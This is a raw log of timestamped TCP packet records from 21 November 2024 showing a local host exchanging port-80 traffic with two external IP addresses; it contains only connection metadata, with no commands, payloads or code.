Nov 21, 2024 14:11:24.553169012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.553184032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.553301096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.554492950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.554646969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.554743052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.554795980 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.554856062 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.555022001 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.555115938 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.555665016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.555679083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.555752993 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.556811094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.556824923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.556936026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.557848930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.557861090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.558079004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.558657885 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.558671951 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.558783054 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.558984995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.559093952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.559240103 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.560070992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.560084105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.560158968 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.560606003 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.560713053 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.560895920 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.560960054 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.561212063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.561285973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.561379910 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.562196970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.562210083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.562300920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.562686920 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.562803030 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.562844992 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.563023090 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.563229084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.563500881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.563652039 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.564235926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.564249039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.564297915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.564604998 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.564616919 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.564676046 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.565265894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.565279007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.565372944 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.566557884 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.566570997 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.566584110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.566639900 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.566674948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.567230940 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.567658901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.568083048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.568134069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.568605900 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.568667889 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.568756104 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.568814039 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.568943024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.568954945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.569060087 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.569991112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.570005894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.570200920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.570724964 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.570738077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.570796967 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.571019888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.571201086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.571285963 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.572268963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.572283030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.572340965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.572427988 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.572508097 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.572844028 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.572937012 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.573901892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.574076891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.574143887 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.574826002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.575000048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.575171947 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.575175047 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.575185061 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.575265884 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.576075077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.576256990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.576467991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.577110052 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.577122927 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.577219009 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.577265978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.577431917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.577545881 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.578296900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.578470945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.578533888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.579180002 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.579284906 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.579595089 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.579607964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.579619884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.579653025 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.579750061 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.580651999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.580841064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.580961943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.581337929 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.581351042 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.581391096 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.581465006 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.581824064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.581836939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.581901073 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.582921028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.583097935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.583157063 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.583352089 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.583363056 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.583395958 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.583545923 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.584101915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.584114075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.584347963 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.584894896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.584907055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.584918976 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.584930897 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.584943056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.584954977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.584964991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.584969044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.584980011 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.584983110 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.584992886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.584995031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.585009098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.585040092 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.585148096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.585844040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.585958004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.586047888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.586725950 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.586788893 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.586849928 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.586977005 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.587493896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.587508917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.587577105 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.592391014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.592407942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.592447042 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.592463017 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.592478991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.592480898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.592493057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.592529058 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.592596054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.593012094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.593183041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.593363047 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.593401909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.593549013 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.593914986 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.594235897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.594418049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.594472885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.594765902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.594789982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.594809055 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.594820976 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.594832897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.594844103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.594867945 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.594935894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.594944000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.595030069 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.595038891 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.595041990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.595042944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.595122099 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.595148087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.595208883 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.596139908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.596223116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.596313953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.596966982 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.597054005 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.597223043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.597337961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.597465038 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.597964048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.598062038 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.598071098 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.598130941 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.598406076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.598500967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.598649979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.599508047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.599580050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.599756956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.600012064 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.600137949 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.600140095 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.600215912 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.600651979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.600840092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.600914001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.601815939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.601878881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.601943016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.602046013 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.602148056 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.602169991 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.602499962 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.602935076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.603075027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.603357077 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.604079962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.604137897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.604151011 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.604197979 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.604233027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.604253054 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.604351044 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.605272055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.605305910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.605402946 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.606204987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.606287003 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.606314898 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.606368065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.606399059 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.608239889 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.608356953 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.608407021 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.608442068 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.610305071 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.610318899 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.610378981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.612257004 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.612368107 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.612436056 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.614300013 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.614430904 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.614466906 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.614558935 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.616424084 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.616473913 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.616508007 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.616574049 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.618403912 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.618431091 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.618479013 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.618530989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.620506048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.620558023 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.620608091 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.620754957 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.622728109 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.622965097 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.622986078 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.623060942 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.624536991 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.624612093 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.624645948 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.624996901 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.626729012 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.626805067 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.626806974 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.626993895 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.628644943 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.628690004 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.629035950 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.648822069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.656704903 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.656816959 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.656821966 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.656989098 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.657761097 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.657834053 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.657836914 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.657946110 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.659823895 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.659912109 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.659928083 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.659996986 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.668145895 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.668169975 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.668204069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.668270111 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.668693066 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.668791056 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.668798923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.668869019 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.670835972 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.670929909 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.670938015 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.670999050 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.672795057 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.672861099 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.672913074 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.672981024 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.674829960 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.674910069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.674945116 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.675030947 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.676877022 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.676950932 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.676997900 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.677081108 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.678936958 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.679043055 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.679146051 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.680975914 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.681107998 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.681170940 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.681245089 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.683134079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.683211088 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.683527946 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.683600903 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.685134888 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.685188055 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.685210943 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.685255051 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.687091112 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.687163115 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.687211037 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.687284946 CET	49905	80	192.168.2.6	185.215.113.16
